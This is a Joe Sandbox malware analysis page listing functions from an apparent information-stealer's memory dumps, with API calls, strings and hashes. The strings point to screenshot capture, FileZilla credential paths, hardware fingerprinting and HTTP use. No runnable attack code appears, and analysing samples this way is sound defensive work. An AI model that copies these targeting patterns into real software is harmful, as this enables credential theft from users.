__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00445978

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 6914c5dd9646aa3fd790727cf4e39c2290796d50bc97961f3513338c227282f2
Instruction ID: 558deed22b9213933cb6ee14014e535275a7d7dbd354c33e6b5693a62e892da8
Opcode Fuzzy Hash: 6914c5dd9646aa3fd790727cf4e39c2290796d50bc97961f3513338c227282f2
Instruction Fuzzy Hash: 0681D8B1600B06DBFB20AE29CC42B5BB3E9AF54768F24452FE411D67C3E778D9058B58

Function 00433C10 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 252COMMON

Download Yara Rule

Strings

Screen.png, xrefs: 00433F6F
9a%^, xrefs: 00433D03
M%, xrefs: 00433D93

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: 9a%^$M%$Screen.png
API String ID: 0-2021954137
Opcode ID: 7ea333df6f5c2910ca2bc4c4f4777871bdb5a703dffbbcdfcf0a34b6d9d0a0f5
Instruction ID: 11fefa64aaa65e2afc3480572e0d96af9cd0f56f536a59b59af3bc8bd9e58722
Opcode Fuzzy Hash: 7ea333df6f5c2910ca2bc4c4f4777871bdb5a703dffbbcdfcf0a34b6d9d0a0f5
Instruction Fuzzy Hash: 4691D8B6E005098ADF248E98888557EB6B4AB9C312F647917E416FB390E37CCF41875B

Function 00402FCC Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 283libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402FE0
LoadLibraryA.KERNELBASE(my-global-render.dll), ref: 00402FEA

Strings

my-global-render.dll, xrefs: 00402FE5
advapi32.dll, xrefs: 00402FDB

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: advapi32.dll$my-global-render.dll
API String ID: 1029625771-772900288
Opcode ID: 925eec738fb8ed2f48ee2fb466019044b8b010c49f75685c643bb3b93b1091e7
Instruction ID: f2405b5e0aceb9a51e137d87bf907524102569514c3531be8be57496d61f3bc2
Opcode Fuzzy Hash: 925eec738fb8ed2f48ee2fb466019044b8b010c49f75685c643bb3b93b1091e7
Instruction Fuzzy Hash: 6BA1F872D0412A86CF64CE98994527E6E78BB10351F250A3BE915FA3D0C7BCCF41A79B

Function 004338B5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

^^4, xrefs: 004339F5
^^4, xrefs: 00433A0A
~rjz, xrefs: 0043399A

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: ^^4$^^4$~rjz
API String ID: 0-2511145224
Opcode ID: e0c7894fc243b6b43147b7a10468ae5ae2dedb06c2c8e31032a7761496933ed1
Instruction ID: fe384b451c266d20576388885646b2b98754c57df49fd09348afa64f247ec54d
Opcode Fuzzy Hash: e0c7894fc243b6b43147b7a10468ae5ae2dedb06c2c8e31032a7761496933ed1
Instruction Fuzzy Hash: 9E618C72E0011947EF287D4888855BEB7919B88B1AF342927F115FB391C76C8F4D974B

Function 00453B82 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00454058,004170BE,?), ref: 00453C36

Part of subcall function 00453203: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0045769E,?,00000000,-00000008), ref: 004532AF

Strings

Eastern Standard Time, xrefs: 00453CCF
Eastern Summer Time, xrefs: 00453CE3

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ByteCharInformationMultiTimeWideZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 1123094072-239921721
Opcode ID: caf58cafb60ec3060b2a5cf257d1c9c7a73c601415e76bdfbbd359845a8db1e6
Instruction ID: af1a61733d26d89116c9bb65ccd9636383a7b5e966e3c510a6c9de8ec0de26fa
Opcode Fuzzy Hash: caf58cafb60ec3060b2a5cf257d1c9c7a73c601415e76bdfbbd359845a8db1e6
Instruction Fuzzy Hash: FC4199B2D00115BBDB106FA6DC46A5ABF78EF04396F10406BFD04A7162E7789F148B99

Function 004439BA Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0044387B,?,00443A9B,00000000,?,?,0044387B,DCFB3585,?,0044387B), ref: 004439CB
TerminateProcess.KERNEL32(00000000,?,00443A9B,00000000,?,?,0044387B,DCFB3585,?,0044387B), ref: 004439D2
ExitProcess.KERNEL32 ref: 004439E4

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 781b962f5f028f3a025d91418773fc66c46a7b9eca303b4a2ef1248f55b92173
Instruction ID: af00403c123718aebf8df8255158ed5eb80799a0d3dec5c869f97e29736db2e2
Opcode Fuzzy Hash: 781b962f5f028f3a025d91418773fc66c46a7b9eca303b4a2ef1248f55b92173
Instruction Fuzzy Hash: 7ED09E71404115BBEF113F61DC0E9593F2AAF40787B144029F90596132DFF59E51DB99

Function 0041D057 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(00000000,?,?,0041A650), ref: 0041D07D

Strings

advapi32.dll, xrefs: 0041D06A

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: advapi32.dll
API String ID: 2104809126-4050573280
Opcode ID: 47e41008aad65778580e0c35056873463c47f4eed791b1223cc5fbeb135fea17
Instruction ID: 6db1735cda00ed3d220bfaf1cacc4b3e5e01bff1461a9ef13bbd23f8b442f0e3
Opcode Fuzzy Hash: 47e41008aad65778580e0c35056873463c47f4eed791b1223cc5fbeb135fea17
Instruction Fuzzy Hash: 9BF0E9F3D4013126F61025AA5C01ABB7E888B46729F140177FD0CE6281E21E9D8242EA

Function 0044E224 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00447A98,00426F52,?,?), ref: 0044E23A
GetLastError.KERNEL32(?,?,00447A98,00426F52,?,?), ref: 0044E245

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 5ab3d534c7926ab7bd1f653ef6df7c72235af480dfd0cba9c2c881dd6ec4968b
Instruction ID: f015b3b87cbc766378ce5f0d68a15eb43446f93644205f51174f0ce78f182e30
Opcode Fuzzy Hash: 5ab3d534c7926ab7bd1f653ef6df7c72235af480dfd0cba9c2c881dd6ec4968b
Instruction Fuzzy Hash: 3AE08631100214ABEF112BA2AD0AB5A3B9CBF80355F104065F60896161EBB88850C7DD

Function 00990E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00990223,?,?), ref: 00990E19
SetErrorMode.KERNELBASE(00000000,?,?,00990223,?,?), ref: 00990E1E

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 47455b4d9e8784be7886e97fbbdae7242364080e5199662cd228575d61da8e96
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 63D0123514512877DB002AD8DC09BCD7B1CDF05B62F008411FB0DD9080C770994046E5

Function 00418BA2 Relevance: 1.8, APIs: 1, Instructions: 313COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00418BDF

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4e1718403e1c9f4dc854db183ebccdab995ea214547ce8d1c5d4ce7d2dfc11b0
Instruction ID: 1d70213f864448114667fa93143398f689e43ce09380febb34e55b8e9c3c6d32
Opcode Fuzzy Hash: 4e1718403e1c9f4dc854db183ebccdab995ea214547ce8d1c5d4ce7d2dfc11b0
Instruction Fuzzy Hash: AEC1ECB1A05B009FD724CF29C88166BFBE5FF88314F14892EE5AA83750E774E845CB56

Function 0044CFE0 Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8d065c2e7d1e5bd55c3a73d0c85b8c9c2db864d3e8117d795f012447403357
Instruction ID: 373710123005f16d466fbf61102d91235a16be84b9ed3eb2ab6254e0a7e141d7
Opcode Fuzzy Hash: 0a8d065c2e7d1e5bd55c3a73d0c85b8c9c2db864d3e8117d795f012447403357
Instruction Fuzzy Hash: B6016D33B001145FBF11CE69EC4595B3796EBC1328B244132F904CB185FB39CC028389

Function 0045699F Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0044EB6F: RtlAllocateHeap.NTDLL(00000000,00426DF1,?,?,00426DF1,?), ref: 0044EBA1

RtlReAllocateHeap.NTDLL(00000000,00000000,00413871,00000000,00000000,00000000,00413871,00000000,00000000,7626F770,?,0041A136,00001FE6,00003CA7,?,000016E5), ref: 004569FC

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a0eecb7647cd985660cbc4ebe15971cfc3f9a0df64ec6594d00528a4e276af4a
Instruction ID: a5a40cd43560794f83e54c6bbfcb227c9197063c5c667a14a31a2b77de81b9f8
Opcode Fuzzy Hash: a0eecb7647cd985660cbc4ebe15971cfc3f9a0df64ec6594d00528a4e276af4a
Instruction Fuzzy Hash: 80F0C8B110011576AB212A279C01B6B276C9FC1B76F56013FFC1497293EE7C9809C29E

Function 00450330 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0044D36A,00000001,00000364,00000000,00000008,000000FF,?,00447A98,00426F52,?,?), ref: 00450371

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d9d3e8b2bef017808805eba958564c636c8c3ec0520770245b5987c827fdf69
Instruction ID: 035a614d3876f6906020b157cdd10206fdefeae5334def747215f66390aa104c
Opcode Fuzzy Hash: 9d9d3e8b2bef017808805eba958564c636c8c3ec0520770245b5987c827fdf69
Instruction Fuzzy Hash: BBF05939200620A7AB205B728C01B6B3758AF81772B044127FC08DA282DA38DC09C6EE

Function 0044EB6F Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00426DF1,?,?,00426DF1,?), ref: 0044EBA1

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 46e01d2afbdcef2c31f25b6f499ced1eedd9cf58f859f57e9987ca3508fff049
Instruction ID: b54a30de40d39881521df567edad888a5efcf5dcf9e065f2953d68bc5b8e4da5
Opcode Fuzzy Hash: 46e01d2afbdcef2c31f25b6f499ced1eedd9cf58f859f57e9987ca3508fff049
Instruction Fuzzy Hash: 3AE0E5212001A56AFA30A767CC01B6B3A4DFF417B8F010037ED47A62D1DBACEC0285AE

Function 00A393DD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00A3942E

Memory Dump Source

Source File: 00000000.00000002.3920154401.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A38000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a38000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: cb7e5c4f15d26838bb936c52f2eaaefbe730e57e41cec8c839bb981c64a13bf7
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 7D113C79A00208EFDB01DF98CA85E99BBF5AF08350F058094F9489B362D371EA50DF80

Non-executed Functions

Function 0099BA83 Relevance: 42.2, APIs: 5, Strings: 18, Instructions: 1922stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0099C7E8
lstrlenW.KERNEL32(00001A2F), ref: 0099CB68
lstrlenW.KERNEL32(00001A2F), ref: 0099DA8D

Strings

{#9, xrefs: 0099BBF6
Ku^%, xrefs: 0099D66E
Y=`, xrefs: 0099C1CC
Ku^%, xrefs: 0099BFB1
"B!H, xrefs: 0099CF92
bi, xrefs: 0099BF40
Ku^%, xrefs: 0099D552
Y[[T, xrefs: 0099BCAE
L2&e, xrefs: 0099CCE4
K2&e, xrefs: 0099C4C9
L2&e, xrefs: 0099D262
Ku^%, xrefs: 0099C0FA
Ku^%, xrefs: 0099C74A
Ku^%, xrefs: 0099D9EC
{#9, xrefs: 0099C8F1
Ku^%, xrefs: 0099D45C
"B!H, xrefs: 0099C285
Y=`, xrefs: 0099D2E4

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: "B!H$"B!H$K2&e$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$L2&e$L2&e$Y[[T$bi${#9${#9$Y=`$Y=`
API String ID: 1659193697-3907602706
Opcode ID: b550c6edbfc739eb8f81f84309a248c2000b550dd3d445275482cde3558858bf
Instruction ID: 6cd6494ebd1ae3ef0f4c84d98eff8e9ba892bbcaf3f46cdc065c550b622333ee
Opcode Fuzzy Hash: b550c6edbfc739eb8f81f84309a248c2000b550dd3d445275482cde3558858bf
Instruction Fuzzy Hash: ABF21BB1D0261A8BDF24CB5CDE856BD7BB4AB55311F240926E509FB390E37C8E409B93

Function 009AFC0B Relevance: 33.6, APIs: 2, Strings: 16, Instructions: 2064COMMON

Download Yara Rule

Strings

VL6T, xrefs: 009B1838
EeS, xrefs: 009B0F73
_m.Q, xrefs: 009B1EE3
KI3i, xrefs: 009B0C26
"w, xrefs: 009B0424
EeS, xrefs: 009B01FC
eo>w, xrefs: 009B006D
"w, xrefs: 009AFF86
VL6T, xrefs: 009B0207
fo>w, xrefs: 009B0A02
mNA/, xrefs: 009AFC73
_m.Q, xrefs: 009B06D3
JI3i, xrefs: 009B0321
fo>w, xrefs: 009B15A2
EeS, xrefs: 009B10DA
KI3i, xrefs: 009B1F97

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: "w$ "w$EeS$EeS$EeS$JI3i$KI3i$KI3i$VL6T$VL6T$_m.Q$_m.Q$eo>w$fo>w$fo>w$mNA/
API String ID: 0-3469262258
Opcode ID: e6d9c21a7490ec2a00f5106aa89416e629d5b74fe5aeb65d2d60d2ef2e2dda1a
Instruction ID: d97e6ef89693257e208e89547e5d4b8279768d6e4159cb61fbaa3f7825fd39aa
Opcode Fuzzy Hash: e6d9c21a7490ec2a00f5106aa89416e629d5b74fe5aeb65d2d60d2ef2e2dda1a
Instruction Fuzzy Hash: 9B03F874D0410A8BCF28DB9CCAA56FDB6B5EB45324F70092BE555EB350D378CE418B92

Function 009C10D3 Relevance: 27.7, APIs: 7, Strings: 8, Instructions: 1432memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 009C11AC
RtlAllocateHeap.NTDLL(?,00000008,00000028), ref: 009C1752
GetDIBits.GDI32(?,00000001,00000000,?,?,00000001,00000000), ref: 009C2461
ReleaseDC.USER32(00000000,?), ref: 009C246B

Strings

q7 C, xrefs: 009C1A50
TT4, xrefs: 009C168C
y_B>, xrefs: 009C1735
?, xrefs: 009C283A
TT4, xrefs: 009C23AE
y_B>, xrefs: 009C2494
q7 C, xrefs: 009C1200
$jRk, xrefs: 009C1632

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AllocateHeap$BitsRelease
String ID: $jRk$?$TT4$TT4$q7 C$q7 C$y_B>$y_B>
API String ID: 2392854675-2600574631
Opcode ID: 0fe5284bdf45d83cd6d71459b9714451c746a96b2f378b9609cc4e18fca22abc
Instruction ID: 987224fb3f01a51f0cbb2c4289a6fe995e2aae0e624cbbfdd826b6ded1c82c15
Opcode Fuzzy Hash: 0fe5284bdf45d83cd6d71459b9714451c746a96b2f378b9609cc4e18fca22abc
Instruction Fuzzy Hash: 47C2D475D0011ACBCF28DB98CA81BBDBAB8AF55340F24452FE545EB291D7358E80CB97

Function 009C42E7 Relevance: 25.4, APIs: 7, Strings: 7, Instructions: 872registryCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 009C4942
RegEnumKeyExW.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 009C498C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00020019,?,00000001), ref: 009C500C

Strings

?, xrefs: 009C4B7C
$jRk, xrefs: 009C47DF
TT4, xrefs: 009C47AA
$jRk, xrefs: 009C4D6D
y_B>, xrefs: 009C499F
TT4, xrefs: 009C4ED8
y_B>, xrefs: 009C48A1

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: EnumOpenwsprintf
String ID: $jRk$$jRk$?$TT4$TT4$y_B>$y_B>
API String ID: 934838074-1833258458
Opcode ID: 3b54bece40eef002e0db5d64569429b679c5c83022a00990b2c8552d4bb31e81
Instruction ID: 33ee80ab6abd3f7c18bb8c0331416a014b1bc884771d3fb6a8e1ce24b24e8c2b
Opcode Fuzzy Hash: 3b54bece40eef002e0db5d64569429b679c5c83022a00990b2c8552d4bb31e81
Instruction Fuzzy Hash: 65621BB1E0425A8BDF24CB588965FBDB6B5AB50310F254A2EE415EB390D374DE80CBD3

Function 009AB4B8 Relevance: 23.7, APIs: 6, Strings: 7, Instructions: 942COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 009AB9E2
_strlen.LIBCMT ref: 009ABC83
_strlen.LIBCMT ref: 009AC44C
_strlen.LIBCMT ref: 009AC464

Strings

ilen, xrefs: 009ABAEA
^^4, xrefs: 009ABA51
^^4, xrefs: 009AC017
A@6e, xrefs: 009AC35B
A@6e, xrefs: 009AB77D
RY30, xrefs: 009AB6F4
ame=, xrefs: 009ABAE2

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: A@6e$A@6e$RY30$^^4$^^4$ame=$ilen
API String ID: 4218353326-3679160039
Opcode ID: 6343018893d56b40ec195c5c117dfc83d0fc6755fe54ce157062feabbfcac08c
Instruction ID: 89a7ea4ffc1e1c1345c7edeab8cf0c126ba802b8a8bac672787cbcb216adf790
Opcode Fuzzy Hash: 6343018893d56b40ec195c5c117dfc83d0fc6755fe54ce157062feabbfcac08c
Instruction Fuzzy Hash: FE72C8B1D4021A8BDF24CF98C89657DBBF4AF1A700F240926E515FB7A2D334DA408BD6

Function 0099E3B5 Relevance: 20.6, Strings: 15, Instructions: 1822COMMON

Download Yara Rule

Strings

Pz#, xrefs: 0099F83B
"t8, xrefs: 0099E916
n_v, xrefs: 009A0079
Pz#, xrefs: 0099E806
v2B, xrefs: 0099F3BF
n_v, xrefs: 0099F2A7
Ied|, xrefs: 0099E9B5
!t8, xrefs: 0099E90B
v2B, xrefs: 0099EAFB
)lu, xrefs: 0099F127
(lu, xrefs: 0099E994
u2B, xrefs: 0099EB05
)lu, xrefs: 0099F29C
"t8, xrefs: 0099F88A
Ied|, xrefs: 0099FAA4

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: !t8$"t8$"t8$(lu$)lu$)lu$Ied|$Ied|$Pz#$Pz#$n_v$n_v$u2B$v2B$v2B
API String ID: 0-3549259986
Opcode ID: a0ad07c5876174a456e6ff089356687033de193354f657ccdd22f267db1287ce
Instruction ID: 0a25495e4ef18ad5dc081dbbfaf9c21051d29c4ac10542d32bd939d995a0bc97
Opcode Fuzzy Hash: a0ad07c5876174a456e6ff089356687033de193354f657ccdd22f267db1287ce
Instruction Fuzzy Hash: 99E2FBB1E0021ADBDF24CB9CC89767EBA74AB55310F24096BF506FB390D7759A40CB92

Function 009C5213 Relevance: 18.5, APIs: 2, Strings: 8, Instructions: 1008COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 009C5594

Strings

$jRk, xrefs: 009C583C
mE, xrefs: 009C56B2
y_B>, xrefs: 009C5FEF
TT4, xrefs: 009C631E
y_B>, xrefs: 009C55B3
TT4, xrefs: 009C5915
$jRk, xrefs: 009C595A
x_B>, xrefs: 009C55A8

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: $jRk$$jRk$TT4$TT4$mE$x_B>$y_B>$y_B>
API String ID: 2961919466-2403683918
Opcode ID: 0fce3017fde26660b2fe1cd63b9b85230b5f86defa1d6f60f2e91c8398972e3b
Instruction ID: f52cec9030e599997eca561383101da92912efcd4e35636ea4b20e87f313868f
Opcode Fuzzy Hash: 0fce3017fde26660b2fe1cd63b9b85230b5f86defa1d6f60f2e91c8398972e3b
Instruction Fuzzy Hash: 098207B1D0061A8BDF28CA98D855FBDBAB4AB15310F25492FD425EB351D334EAC0DB93

Function 009BD8BF Relevance: 16.6, Strings: 12, Instructions: 1594COMMON

Download Yara Rule

Strings

Applications/FileZilla, xrefs: 009BDEB0, 009BDEB5, 009BDECD
q7 C, xrefs: 009BE6B7
TT4, xrefs: 009BEDA7
Aan(, xrefs: 009BDAF0
$jRk, xrefs: 009BE140
%appdata%\FileZilla, xrefs: 009BDEBB, 009BDEC0, 009BDED3
Aan(, xrefs: 009BDDAA
ST4, xrefs: 009BDBB8
?, xrefs: 009BEF3B
y_B>, xrefs: 009BE278
TT4, xrefs: 009BE196
@an(, xrefs: 009BDACF

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: $jRk$%appdata%\FileZilla$?$@an($Aan($Aan($Applications/FileZilla$ST4$TT4$TT4$q7 C$y_B>
API String ID: 0-929912511
Opcode ID: 4552184fbc30df57263dc870eb522a2c39f9d48f269a1af2991607538b6dd594
Instruction ID: 1de1472d85231943203b2a108093d7b1c25ce76823a24e53af08ce0cf1ca813d
Opcode Fuzzy Hash: 4552184fbc30df57263dc870eb522a2c39f9d48f269a1af2991607538b6dd594
Instruction Fuzzy Hash: 29C20AB1D0521A9BDF249BAC8F526FE79B9AB50320F24093BF405FA291F775C9408793

Function 009AC4D7 Relevance: 16.6, APIs: 1, Strings: 8, Instructions: 812COMMON

Download Yara Rule

Strings

9a%^, xrefs: 009AC6E7
L%, xrefs: 009AC611
M%, xrefs: 009AC632
winhttp.dll, xrefs: 009AC6A5, 009ACAC0, 009ACAC5, 009ACAE7, 009ACB09, 009ACCC9, 009ACD31, 009ACECB, 009ACFC2, 009AD025, 009AD181, 009AD216
9a%^, xrefs: 009ACBE8
9a%^, xrefs: 009AC846
9a%^, xrefs: 009AD174
M%, xrefs: 009AC767

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: 9a%^$9a%^$9a%^$9a%^$L%$M%$M%$winhttp.dll
API String ID: 0-1735461236
Opcode ID: 76b40e2ef52341f5e2d246a304b554142d018d114a99d409a3a1d5b8bf5c742d
Instruction ID: 55c358492240f1a66b939bdbfb384ac92f6793c7f89dc5f1804e8894cd70a71b
Opcode Fuzzy Hash: 76b40e2ef52341f5e2d246a304b554142d018d114a99d409a3a1d5b8bf5c742d
Instruction Fuzzy Hash: 71523BF1F0520A4BDF288B98C9956BE76A89B57304F24052BF916FE2A1D724CE40C7D7

Function 009AACB0 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 473COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 009AAF52
_strlen.LIBCMT ref: 009AB095
_strlen.LIBCMT ref: 009AB47D
_strlen.LIBCMT ref: 009AB498

Strings

:[, xrefs: 009AB39C
&, xrefs: 009AB394
(, xrefs: 009AB3DF

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: &$($:[
API String ID: 4218353326-884455141
Opcode ID: 3034d82a480cb8f89dcfb5f74ad732d6c5b154c1f034d4a1a20f2f670bf56c56
